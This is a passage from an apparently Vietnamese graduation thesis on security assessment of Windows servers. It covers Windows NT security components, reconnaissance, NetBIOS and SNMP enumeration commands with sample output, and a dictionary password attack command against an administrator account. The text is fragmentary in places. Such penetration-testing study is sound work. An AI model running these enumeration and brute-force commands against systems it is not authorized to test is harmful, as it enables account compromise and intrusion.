đó, máy chủ trả lời gửi một tin nhắn lại cho người gọi Hệ thống máy tính (TCB) máy chủ được bảo vệ máy chủ, thực hiện như một quá trình với bối cảnh an ninh hệ thống, có ngụ ý rằng quá trình này sở hữu một thẻ truy cập

Chúng ta sẽ mô tả một vài máy chủ tiêu chuẩn bao gồm: quản lý phiên, WinLogon, Win32, LSA

và SAM

Quản lý phiên: là máy chủ để bắt đầu trong hệ thống NT Nó có trách nhiệm tải trình điều khiển thiết bị hệ điều hành DOS, hệ thống con đăng ký trong Registry và khởi tạo thư viện liên kết động, sau đó, nó bắt đầu máy chủ WinLogon

WinLogon: Là quá trình đăng nhập Nó có trách nhiệm phối hợp và cung cấp giao diện tương tác đăng nhập/ đăng xuất Hơn nữa, nó quản lý máy tính để bàn Winlogon đăng ký chính nó với Win32, trong quá trình khởi tạo hệ thống là quá trình đăng nhập

Win32: là hệ thống windows API 32 bít có sẵn các chương trình ứng dụng Ngoài ra nó cung cấp giao diện người dùng đồ họa và điều khiển tất cả các đầu vào người sử dụng và đầu ra Chỉ có hai đối tượng được xuất ra từ máy chủ này, máy trạm window, tức là người sử dụng đầu vào/đầu

ra hệ thống(chuột, bàn phím và màn hình ), và một đối tượng Desktop

Trang 19

LSA(local Security Authority): Trách nhiệm chính của nó là trung tâm về an ninh Nó đóng một phần quan trong trong quá trình đăng nhập, và sự kiện bảo mật quá trình như duy trì chính sách bảo mật của hệ thống địa phương Chính sách bảo mật thực hiện bởi cơ sở dữ liệu chính sách an ninh địa phương mà giữ thông tin trên lĩnh vực đáng tin cậy, đặc quyền và quyền truy cập cho người dùng và nhóm người sử dụng, các sự kiện an ninh Cơ sở dữ liệu này được quản lý bởi LSA và truy cập thông qua LSA.

SAM(Security Accounts Manager): Chịu trách nhiệm về quản lý thông tin về tài khoản cho người dùng và nhóm người sử dụng hoặc tại địa phương, miền diện rộng phụ thuộc vào vai trò của nó Nó cung cấp hỗ trợ cho gói xác thực An toàn tài khoản được lưu trữ như sub-object trong cơ sở dữ liệu bên trong thanh registry Cơ sở dữ liệu này được truy cập và quản lý bởi SAM

2.5 Mục đích

Xem hệ thống windows NT/200 từ mắt kẻ tấn công và sử dụng công cụ của chúng

2.6 Mục tiêu

+ Hiểu biết về các vấn đề bảo mật windows

+ Tiếp cận có cấu trúc cho sự thâm nhập hệ thống Windows/ kiểm toán

+ Đạt được truy cập và các điều khoản đặc quyề

+ Ngoài ra sự lan rộng các cuộc tấn công hơn nữa

2.7 Dự kiến kết quả

+ Danh sách các máy chủ trực tiếp

+ Quy trình chạy trên máy

+ Danh sách người dụng/ chia sẻ

+ Phiên bản nhân sử dụng trong hệ thống hệ điều hành và mức độ bản vá

+ Nhà cung cấp hệ thống hệ điều hành

+ Danh sách các lỗ hổng

+ Danh sách các máy bị chiếm quyền

2.8 Thụ động thu thập thông tin

Đặt thông tin thu thập từ các nguồn công khai Có rất nhiều các trang web mà biên dịch nhiều thông tin hợp lý, chúng ra hãy xem một số trong số chúng:

% This is the RIPE Whois secondary server

% The objects are in RPSL format

%

% Rights restricted by copyright

% See http://www.ripe.net/db/copyright.html

Trang 20

address: 28, Montague Street

Trang 21

Một chỉ số công cụ tìm kiếm rất nhiều các trang mạng và cho phép chức năng tìm kiếm tiên tiến

sẽ giúp trong công việc tìm kiếm của bạn

Điều kiện tiên quyết

Tên miền mục tiêu Tất cả các thông tin về mục tiêu, bạn có thể có được

Phân tích/kết luân / quan sát

Công cụ này là một trong những công cụ mạnh mẽ nhất để thu thập thông tin, nếu bạn muốn tấn công một mục tiêu bạn câng phải biết tất cả các thông tin cần thiết từ công cụ này Giai đoạn này

là rất quan trọng để có được dữ liệu tối đa có thể và bạn có thể dành nhiều thời gian chó nó có thể là thông tin thu thập được trong giai đoạn này và nó sẽ rất hữu ích trong các cuộc tấn công

Công cụ hỗ trợ

http://www.google.com

http://www.yahoo.com

http://www.dogpile.com (very useful for cumulative search)

http://www.kartoo.com (useful in visualizing the links )

2.9 Thu thập thông tin chủ động

Thu thập thông tin chủ động chính là quá trình thu thập trực tiếp những thông tin sát với hệ thống hơn như là địa chỉ IP, domain, Ngoài ra, có thể nhận diện trực tiếp các tài khoản người dùng, các tài nguyên chia sẻ, các chính sách hệ thống trên hệ thống …

Bạn có thể thu thập thông tin theo các bước sau

+ Danh sách tên Netbios

+ Danh sách phiên Netbios

+ Danh sách MIB

+ SNMPwalk

+ SNMPget

b Xác định các trình duyệt chủ

Trang 22

c Xác định các tên miền trên mạng

d Xác định tên miền điều khiển

e Xác định tên miền máy chủ

f Xem tên miền thành viên

2.9.1 Xác định người sử dụng

Mô tả

Nếu các máy tính mục tiêu là một danh sách người sử dụng DC sẽ là danh sách người sử dụng toàn bộ miền, nhưng nếu mục tiêu là một máy độc lập, bạn chỉ có thể có được một danh sách người sử dụng

Điều kiện tiên quyết

Cổng 135/TCP tới 139/TCP hoặc 445/TCP được truy cập Máy đích có dịch vụ máy chủ bắt đầu làm việc

Từng bước thực hiện

Chạy enum với các cờ sau

C:>enum –UMNSPGL target_ip

For Each oADobject In oDomain

WScript.Echo oADobject.Name & vbTab & oADobject.FullName & vbTab &

oADobject.Description & _

vbTab & oADobject.HomeDirDrive & vbTab &

oADobject.HomeDirectory

Next

Phân tích / kết luận / quan sát

Một kẻ tấn công có thể chứa tài khoản máy chủ và có thể sử dụng kỹ thuật tấn công mật khẩu để

dự đoán mật khẩu của tài khoản

Các thư mục chia sẻ có thể được ẩn(thêm một $ vào cuối của tên chia sẻ) hoặc có thể nhìn thấy

Điều kiện tiên quyết

Cổng 135/TCP và 139/TCP hoặc 445/TCP phải được truy cập tới máy mục tiêu và phải có dịch

vụ máy chủ bắt đầu làm việc

Ví dụ/kết quả

Sử dụng “Netview” để xem các chia sẻ được nhìn thấy

Trang 23

C:\>net view \\workstation

Sử dụng “Enum.exe” để xem chia sẻ nhìn thấy hoặc ẩn

C:\>enum -S workstation

server: workstation

setting up session success

enumerating shares (pass 1) got 10 shares, 0 left:

IPC$ print$ EPSONSty Mi música

Các chính sách an ninh windows có thẻ thu được

Điều kiện tiên quyết

Cổng 135/TCP và 139/TCP hoặc 445/TCP phải được truy cập tới máy mục tiêu và phải có dịch

vụ máy chủ bắt đầu làm việc

min length: none

min age: none

max age: 42 days

lockout threshold: none

lockout duration: 30 mins

lockout reset: 30 mins

cleaning up success.

Phân tích/ kết luận/ quan sát

Kẻ tấn công có thể có được các chính sách mật khẩu máy chủ

Trang 24

Cổng 161/udp có thể được truy cập máy mục tiêu đã có dịch vụ SNMP bắt đầu và đang làm việc.

Phân tích/ kết luận/ quan sát

Kẻ tấn công có thể thu thập thông tin hữu ích từ máy chủ

Biện pháp đối phó

Hạn chế truy cập đến cổng 161 UDP Thực thi các chính sách mật khẩu SNMP

2.9.5 Xác định tên miền trên mạng

Mô tả

Có thể có nhiều hơn một miền, có thể đạt được trên cùng một mạng vì có mối quan hệ tin cậy giữa hai hoạc nhiều lĩnh vực trong cùng một bộ điều khiển tên miền

Điều kiện tiên quyết

Cổng 135/TCP và 139/TCP hoặc 445/TCP có thể được truy cập máy mụch tiêu và có dịch vụ trình duyệt bắt đầu và đang làm việc

Từng bước thực hiện

Truy vấn NetBios được biết như tên miền đầu tiên sử dụng netdom.exe(từ công cụ hỗ trợ) vào danh sách bất cứ điều gì bạn muốn

Phân tích/ kết luận/ quan sát

Kẻ tấn công có thể có được mối quan hệ miền tin cậy và có thể sử dụng tất cả miền tin cậy cho

dữ liệu hợp lý hơn

2.9.6 Xác định miền điều khiển

Mô tả

Bạn có thể xem tất cả bộ điều khiển quản lý tên miền, có thể được bảo vệ với nỗ lực khác nhau

Điều kiện tiên quyết

Cổng 135/TCP và 139/TCP hoặc 445/TCP có thể được truy cập

netdom query /domain:domain dc

netdom query /domain:domain pdc

netdom query /domain:domain fsmo

Phân tích/ kết luận/ quan sát

Kẻ tấn công có thể có được tất cả bộ điều khiển tên miền có thể sử dụng nó để có được dữ liệu hợp lý hơn

Biện pháp đối phó

Hạn chế truy cập tới cổng công cộng 135-139 và 445

2.9.7 Xác đinh tên miền của máy chủ

Mô tả

Bạn có thể xem danh sách các máy trạm hoặc hoặc các máy chủ của dải tên miền

Điều kiện tiên quyết

Các cổng 135/TCP và 139/TCP hoặc 445/TCP có thể có được

Từng bước thực hiện

Truy vấn NetBios để biết tên miền đầu tiên sử dụng netdom.exe(từ công cụ hỗ trợ) đưa vào danh sách bạn muốn

Trang 25

Ví dụ/ kết quả

Sử dụng netdom.exe

netdom query /domain:domain workstation

netdom query /domain:domain server

netdom query /domain:domain ou

Phân tích/ kết luận/ quan sát

Kẻ tấn công có thể có được tất cả các bộ điều khiển tên miền, có thể sử dụng dữ liệu hợp lý hơn

Phân tích/ kết luận/ quan sát

Kẻ tấn công liệt kê các máy chủ trực tiếp trong mạng

2.11 Liệt kê tấn công

2.11.1 Duyệt danh sách

+ Xác định trình duyệt chủ

+ Xác định tên miền trên mạng

+ Xác định miền điều khiển

Local Area Connection:

Node IpAddress: [192.168.0.10] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status

-

MITHU <00> UNIQUE Registered

MITHU <20> UNIQUE Registered

MITHU <03> UNIQUE Registered

WORKGROUP <00> GROUP Registered

WORKGROUP <1E> GROUP Registered

BALWANT <03> UNIQUE Registered

MAC Address = 00-0B-2B-0E-2B-AF

2.11.3 Xác định tên miền trên mạng

Mô tả

Trang 26

Xác định tên miền trên mạng

Từng bước thực hiện

Chạy với tùy chọn tên miền

Ví dụ/ kết quả

C:\>net view /domain

2.12 Kiểm tra hệ thống windows

Nhằm kiểm tra hệ thống có dễ bị tấn công Remote Attack hay không?

Quy trình kiểm tra

Bước 1: Thu thập danh sách tài khoản người dùng như ở phần thu thập thông tin

Bước 2: Sử dụng công cụ để tấn công theo kiểu từ điển (Dictionary Attack) hoặc tổ hợp các ký tự (Brute force Attack) với danh sách các tài khoản đó

enum -u administrator -D -f test.txt 10.1.2.3

Với administrator là tên tài khoản và test.txt là tập tin chứa mật khẩu

Công cụ kiểm tra

Khi tìm được mật khẩu của tài khoản có quyền quản trị, kẻ tấn công sẽ toàn quyền với máy đích

Trang 27

Mục đích kiểm tra

Nhằm kiểm tra hệ thống có khả năng bị password attack hay không?

Quy trình kiểm tra

Kẻ tấn công cũng sử dụng các phần mềm Sniffer để bắt các gói tin chứa tài khoản (username) và mật khẩu (password) được truyền đi trong hệ thống mạng Sau đó sử dụng công

cụ để giải mã và thu được mật khẩu thông thường

Ảnh hưởng của việc bị chiếm mất quyền quản trị tùy thuộc hoàn toàn vào mức độ quan trọng của dữ liệu và các ứng dụng trong hệ thống

Công cụ kiểm tra

+ Stack based Overflows

+ Heap based Overflows

+ Integer Overflows

Stack based Overflows: Là một kiểu tràn bộ đệm, nhưng ở đây lỗi tràn bộ đệm xảy ra ở

ngăn xếp (Stack)

Heap based Overflows: Là một kiểu tràn bộ đệm, xảy ở bộ nhớ heap Bộ nhớ heap được

cấp phát động bởi các ứng dụng tại thời gian chạy và thường chứa dữ liệu của chương trình

Integer Overflows: Là một kiểu tràn bộ đệm, sảy ra khi kết quả của một phép toán vượt

quá giới hạn số nguyên Khác với loại tràn stack (stack-based) và loại tràn heap (heap-based), loại tràn số nguyên (integer overflow) không ghi đè lên vùng nhớ nhưng khả năng ảnh hưởng cũng rất lớn

Trang 28

Mục đích kiểm tra

Nhằm xác định nguyên nhân có thể gây lỗi tràn bộ đệm (stack, heap, interger)

Quy trình kiểm tra

+ Rà soát mã (code) của các ứng dụng (nếu ứng dụng tự viết)

+ Nhập dữ liệu đầu vào với kích thước lớn và xem phản ứng của hệ thống

+ Kiểm tra các dịch vụ có nguy cơ gây ra tràn bộ đệm hay không

+ Kiểm tra khả năng thực thi Stack

Tuy nhiên, vấn đề này chủ yếu xãy ra trên ứng dụng nên trong quá trình phát triển ứng dụng cần chú ý đến

2.12.4 Tấn công kiểu dữ liệu

Mô tả

Đây là kiểu tấn công đã xuất hiện từ rất sớm, hiện nay chỉ còn gặp rất ít Kiểu tấn công này xuất hiện khi khai báo không đúng hoặc thiếu về kiểu dữ liệu trong chương trình

Mục đích kiểm tra

Nhằm xác định hệ thống có xuất hiện lỗi này hay không?

Quy trình kiểm tra

Nhập dữ liệu đầu vào ở các dạng đặc biệt (%s, %x…), xem ứng xử của hệ thống đối với các loại dữ liệu đặc biệt này

2.12.5 Tấn công web

Mô tả

Ngày nay ứng dụng web đã trở nên phổ biến hơn bao giờ hết Các ứng dụng web thường chạy trên cổng 80, đây cũng là nơi xuất hiện nhiều lỗi bảo mật nhất Nếu hệ thống server chạy các ứng dụng web không được cấu hình an toàn thì sẽ xuất hiện các nguy cơ về bảo mật Vì vậy quá trình cấu hình, cài đặt một hệ thống máy chủ chạy ứng dụng web đảm bảo đúng các yêu cầu

về an toàn là cần thiết

Mục đích kiểm tra

Nhằm kiểm tra mức độ bảo mật của ứng dụng Web

Quy trình kiểm tra

Trang 29

Sử dụng các công cụ quét toàn diện hệ thống website

Sử dụng các khuôn dạng (framework) có sẵn để tiến hành kiểm thử

Công cụ kiểm tra

Mail services là một trong những dịch vụ quan trọng của hệ thống Ngày nay, sử dụng dịch

vụ mail để trao đổi thông tin là nhu cầu không thể thiếu đối với cá nhân và doanh nghiệp Đi cùng với đó là các thách thức bảo mật dịch vụ mail cũng nhiều

Mục đích kiểm tra

Kiểm tra khả năng hệ thống có bị khai thác thông qua dich vụ mail hay không

Quy trình kiểm tra

+ Kiểm tra tấn công từ chối dịch vụ (DoS)

+ Kiểm tra khả năng bị gửi thư rác (spam)

+ Kiểm tra khả năng bảo vệ người dùng trước nguy cơ bị nhễm virus qua dịch vụ mail.+ Kiểm tra cách thức phân quyền sử dụng các dịch vụ mail

2.12.7 Tấn công NetBios

Mô tả

Dịch vụ NetBIOS được sử dụng rộng rãi để chia sẻ tập tin Tấn công vào dịch vụ này để liệt kê tài nguyên chia sẻ, tài khoản người dùng và có thể truy cập vào hệ thống Cổng quan trọng nhất cho NetBIOS là 139, nhưng cũng có thể chạy NetBIOS trên cổng 135-139 và 445

Mục đích kiểm tra

Nhằm kiểm tra hệ thống có bị tấn công NetBIOS hay không?

Quy trình kiểm tra

+ Liệt kê tài nguyên chia sẻ, tài khoản người dùng

+ Sử dụng DumpSec để liệt kê remote registry

Ngày đăng: 14/12/2021, 17:54

HÌNH ẢNH LIÊN QUAN

Hình 4.2: Các chương trình khởi động cùng hệ thống. - Đồ án tốt nghiệp đánh giá an toàn hệ thống máy chủ sử dụng unix linux
Hình 4.2 Các chương trình khởi động cùng hệ thống (Trang 31)

TỪ KHÓA LIÊN QUAN

TRÍCH ĐOẠN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w